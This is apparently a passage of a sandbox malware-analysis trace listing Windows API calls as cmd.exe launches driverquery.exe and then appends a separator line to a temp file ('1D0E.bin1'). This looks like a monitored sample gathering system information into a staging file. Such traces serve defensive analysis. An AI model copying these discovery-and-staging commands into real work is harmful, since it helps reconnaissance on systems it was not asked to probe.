_wcsicmp (_String1="driverquery.exe", _String2="REN") returned -14 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="ECHO") returned -1 [0143.771] _wcsicmp (_String1="driverquery.exe", _String2="SET") returned -15 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="PAUSE") returned -12 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="DATE") returned 17 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="TIME") returned -16 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="PROMPT") returned -12 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="MD") returned -9 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="MKDIR") returned -9 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="RD") returned -14 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="RMDIR") returned -14 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="PATH") returned -12 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="GOTO") returned -3 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="SHIFT") returned -15 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="CLS") returned 1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="CALL") returned 1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="VERIFY") returned -18 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="VER") returned -18 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="VOL") returned -18 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="EXIT") returned -1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="SETLOCAL") returned -15 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="ENDLOCAL") returned -1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="TITLE") returned -16 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="START") returned -15 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="DPATH") returned 2 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="KEYS") returned -7 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="MOVE") returned -9 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="PUSHD") returned -12 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="POPD") returned -12 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="ASSOC") returned 3 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="FTYPE") returned -2 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="BREAK") returned 2 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="COLOR") returned 1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="MKLINK") returned -9 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="DIR") returned 9 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="ERASE") returned -1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="DEL") returned 13 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="TYPE") returned -16 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="COPY") returned 1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="CD") returned 1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="CHDIR") returned 1 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="RENAME") returned -14 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="REN") returned -14 [0143.772] _wcsicmp (_String1="driverquery.exe", _String2="ECHO") returned -1 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="SET") returned -15 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="PAUSE") returned -12 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="DATE") returned 17 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="TIME") returned -16 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="PROMPT") returned -12 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="MD") returned -9 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="MKDIR") returned -9 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="RD") returned -14 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="RMDIR") returned -14 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="PATH") returned -12 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="GOTO") returned -3 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="SHIFT") returned -15 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="CLS") returned 1 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="CALL") returned 1 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="VERIFY") returned -18 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="VER") returned -18 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="VOL") returned -18 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="EXIT") returned -1 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="SETLOCAL") returned -15 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="ENDLOCAL") returned -1 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="TITLE") returned -16 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="START") returned -15 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="DPATH") returned 2 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="KEYS") returned -7 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="MOVE") returned -9 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="PUSHD") returned -12 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="POPD") returned -12 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="ASSOC") returned 3 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="FTYPE") returned -2 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="BREAK") returned 2 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="COLOR") returned 1 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="MKLINK") returned -9 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="FOR") returned -2 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="IF") returned -5 [0143.773] _wcsicmp (_String1="driverquery.exe", _String2="REM") returned -14 [0143.774] GetProcessHeap () returned 0x250000 [0143.774] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x218) returned 0x26cb70 [0143.774] GetProcessHeap () returned 0x250000 [0143.774] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x34) returned 0x2665f0 [0143.774] _wcsnicmp (_String1="driv", _String2="cmd ", _MaxCount=0x4) returned 1 [0143.774] GetProcessHeap () returned 0x250000 [0143.774] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x420) returned 0x251320 [0143.774] SetErrorMode (uMode=0x0) returned 0x0 [0143.774] SetErrorMode (uMode=0x1) returned 0x0 [0143.775] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x251330, lpFilePart=0x19ed40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x19ed40*="system32") returned 0x13 [0143.775] SetErrorMode (uMode=0x0) returned 0x1 [0143.775] GetProcessHeap () returned 0x250000 [0143.775] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x251320, Size=0x58) returned 0x251320 [0143.775] GetProcessHeap () returned 0x250000 [0143.775] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x251320) returned 0x58 [0143.775] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0143.775] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0143.775] GetProcessHeap () returned 0x250000 [0143.775] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x104) returned 0x26cd90 [0143.775] GetProcessHeap () returned 0x250000 [0143.775] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1f8) returned 0x26cea0 [0143.778] GetProcessHeap () returned 0x250000 [0143.778] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x26cea0, Size=0x106) returned 0x26cea0 [0143.778] GetProcessHeap () returned 0x250000 [0143.778] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cea0) returned 0x106 [0143.778] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a13f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0143.778] GetProcessHeap () returned 0x250000 [0143.778] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe8) returned 0x26cfc0 [0143.778] GetProcessHeap () returned 0x250000 [0143.778] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x26cfc0, Size=0x7e) returned 0x26cfc0 [0143.778] GetProcessHeap () returned 0x250000 [0143.779] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cfc0) returned 0x7e [0143.779] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0143.779] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\driverquery.exe", fInfoLevelId=0x1, lpFindFileData=0x19eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19eab0) returned 0x26d050 [0143.779] GetProcessHeap () returned 0x250000 [0143.779] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x28) returned 0x264620 [0143.780] FindClose (in: hFindFile=0x26d050 | out: hFindFile=0x26d050) returned 1 [0143.780] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0143.780] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0143.780] GetConsoleTitleW (in: lpConsoleTitle=0x19f000, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.780] InitializeProcThreadAttributeList (in: lpAttributeList=0x19edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19ed78 | out: lpAttributeList=0x19edb8, lpSize=0x19ed78) returned 1 [0143.780] UpdateProcThreadAttribute (in: lpAttributeList=0x19edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x19ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19edb8, lpPreviousValue=0x0) returned 1 [0143.780] GetStartupInfoW (in: lpStartupInfo=0x19eed0 | out: lpStartupInfo=0x19eed0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0143.780] GetProcessHeap () returned 0x250000 [0143.780] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x20) returned 0x264650 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0143.780] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0143.781] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0143.781] GetProcessHeap () returned 0x250000 [0143.781] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x264650 | out: hHeap=0x250000) returned 1 [0143.781] GetProcessHeap () returned 0x250000 [0143.781] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x12) returned 0x26d050 [0143.781] lstrcmpW (lpString1="\\driverquery.exe", lpString2="\\XCOPY.EXE") returned -1 [0143.782] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\driverquery.exe", lpCommandLine="driverquery.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x19edf0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="driverquery.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19eda0 | out: lpCommandLine="driverquery.exe ", lpProcessInformation=0x19eda0*(hProcess=0x58, hThread=0x54, dwProcessId=0x478, dwThreadId=0xa0c)) returned 1 [0143.815] CloseHandle (hObject=0x54) returned 1 [0143.815] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0143.815] GetProcessHeap () returned 0x250000 [0143.815] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc70 | out: hHeap=0x250000) returned 1 [0143.815] GetEnvironmentStringsW () returned 0x26bc70* [0143.815] GetProcessHeap () returned 0x250000 [0143.815] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xac0) returned 0x269ab0 [0143.815] FreeEnvironmentStringsW (penv=0x26bc70) returned 1 [0143.815] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0146.373] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x19ece8 | out: lpExitCode=0x19ece8*=0x0) returned 1 [0146.373] CloseHandle (hObject=0x58) returned 1 [0146.373] _vsnwprintf (in: _Buffer=0x19ef58, _BufferCount=0x13, _Format="%08X", _ArgList=0x19ecf8 | out: _Buffer="00000000") returned 8 [0146.373] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0146.373] GetProcessHeap () returned 0x250000 [0146.373] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x269ab0 | out: hHeap=0x250000) returned 1 [0146.373] GetEnvironmentStringsW () returned 0x269ab0* [0146.373] GetProcessHeap () returned 0x250000 [0146.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xae6) returned 0x27a7d0 [0146.373] FreeEnvironmentStringsW (penv=0x269ab0) returned 1 [0146.373] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0146.373] GetProcessHeap () returned 0x250000 [0146.373] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x27a7d0 | out: hHeap=0x250000) returned 1 [0146.373] GetEnvironmentStringsW () returned 0x269ab0* [0146.373] GetProcessHeap () returned 0x250000 [0146.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xae6) returned 0x27a7d0 [0146.373] FreeEnvironmentStringsW (penv=0x269ab0) returned 1 [0146.373] GetProcessHeap () returned 0x250000 [0146.373] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d050 | out: hHeap=0x250000) returned 1 [0146.373] DeleteProcThreadAttributeList (in: lpAttributeList=0x19edb8 | out: lpAttributeList=0x19edb8) [0146.373] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0146.374] _close (_FileHandle=3) returned 0 [0146.374] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.374] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0146.374] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.374] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a13e194 | out: lpMode=0x4a13e194) returned 1 [0146.375] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.375] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a13e198 | out: lpMode=0x4a13e198) returned 1 [0146.375] SetConsoleInputExeNameW () returned 0x1 [0146.375] GetConsoleOutputCP () returned 0x1b5 [0146.375] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a14bfe0 | out: lpCPInfo=0x4a14bfe0) returned 1 [0146.375] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.375] exit (_Code=0) Process: id = "37" image_name = "driverquery.exe" filename = "c:\\windows\\system32\\driverquery.exe" page_root = "0x1ac0c000" os_pid = "0x478" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "36" os_parent_pid = "0xa54" cmd_line = "driverquery.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 339 os_tid = 0xa0c Thread: id = 340 os_tid = 0xae4 Thread: id = 342 os_tid = 0xa1c Thread: id = 343 os_tid = 0xb18 Thread: id = 344 os_tid = 0xa20 Process: id = "38" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x51363000" os_pid = "0x41c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 345 os_tid = 0x5fc [0146.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bfbe0 | out: lpSystemTimeAsFileTime=0x2bfbe0*(dwLowDateTime=0xfe6d7d10, dwHighDateTime=0x1d51ed4)) [0146.451] GetCurrentProcessId () returned 0x41c [0146.451] GetCurrentThreadId () returned 0x5fc [0146.451] GetTickCount () returned 0x30897 [0146.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2bfbe8 | out: lpPerformanceCount=0x2bfbe8*=27097551992) returned 1 [0146.452] GetModuleHandleW (lpModuleName=0x0) returned 0x4aa60000 [0146.452] __set_app_type (_Type=0x1) [0146.452] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa87810) returned 0x0 [0146.453] __getmainargs (in: _Argc=0x4aaaa608, _Argv=0x4aaaa618, _Env=0x4aaaa610, _DoWildCard=0, _StartInfo=0x4aa8e0f4 | out: _Argc=0x4aaaa608, _Argv=0x4aaaa618, _Env=0x4aaaa610) returned 0 [0146.453] GetCurrentThreadId () returned 0x5fc [0146.453] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5fc) returned 0x3c [0146.453] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0146.453] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0146.453] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.453] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0146.453] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2bfb78 | out: phkResult=0x2bfb78*=0x0) returned 0x2 [0146.454] VirtualQuery (in: lpAddress=0x2bfb60, lpBuffer=0x2bfae0, dwLength=0x30 | out: lpBuffer=0x2bfae0*(BaseAddress=0x2bf000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.454] VirtualQuery (in: lpAddress=0x1c0000, lpBuffer=0x2bfae0, dwLength=0x30 | out: lpBuffer=0x2bfae0*(BaseAddress=0x1c0000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.454] VirtualQuery (in: lpAddress=0x1c1000, lpBuffer=0x2bfae0, dwLength=0x30 | out: lpBuffer=0x2bfae0*(BaseAddress=0x1c1000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.454] VirtualQuery (in: lpAddress=0x1c4000, lpBuffer=0x2bfae0, dwLength=0x30 | out: lpBuffer=0x2bfae0*(BaseAddress=0x1c4000, AllocationBase=0x1c0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0146.454] VirtualQuery (in: lpAddress=0x2c0000, lpBuffer=0x2bfae0, dwLength=0x30 | out: lpBuffer=0x2bfae0*(BaseAddress=0x2c0000, AllocationBase=0x2c0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0146.454] GetConsoleOutputCP () returned 0x1b5 [0146.454] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa9bfe0 | out: lpCPInfo=0x4aa9bfe0) returned 1 [0146.454] SetConsoleCtrlHandler (HandlerRoutine=0x4aa83184, Add=1) returned 1 [0146.454] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.454] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0146.454] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.454] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa8e194 | out: lpMode=0x4aa8e194) returned 1 [0146.455] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.455] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0146.455] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.455] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa8e198 | out: lpMode=0x4aa8e198) returned 1 [0146.455] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.455] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0146.455] GetEnvironmentStringsW () returned 0x3b9ab0* [0146.455] GetProcessHeap () returned 0x3a0000 [0146.455] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa78) returned 0x3ba530 [0146.455] FreeEnvironmentStringsW (penv=0x3b9ab0) returned 1 [0146.455] GetProcessHeap () returned 0x3a0000 [0146.455] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3bafb0 [0146.455] GetEnvironmentStringsW () returned 0x3b9ab0* [0146.456] GetProcessHeap () returned 0x3a0000 [0146.456] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa78) returned 0x3bafd0 [0146.456] FreeEnvironmentStringsW (penv=0x3b9ab0) returned 1 [0146.456] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2bea38 | out: phkResult=0x2bea38*=0x44) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x0, lpData=0x2bea50*=0x18, lpcbData=0x2bea34*=0x1000) returned 0x2 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x1, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x0, lpData=0x2bea50*=0x1, lpcbData=0x2bea34*=0x1000) returned 0x2 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x0, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x40, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2bea30, lpData=0x2bea50, lpcbData=0x2bea34*=0x1000 | out: lpType=0x2bea30*=0x4, lpData=0x2bea50*=0x40, lpcbData=0x2bea34*=0x4) returned 0x0 [0146.456] RegQueryValueExW 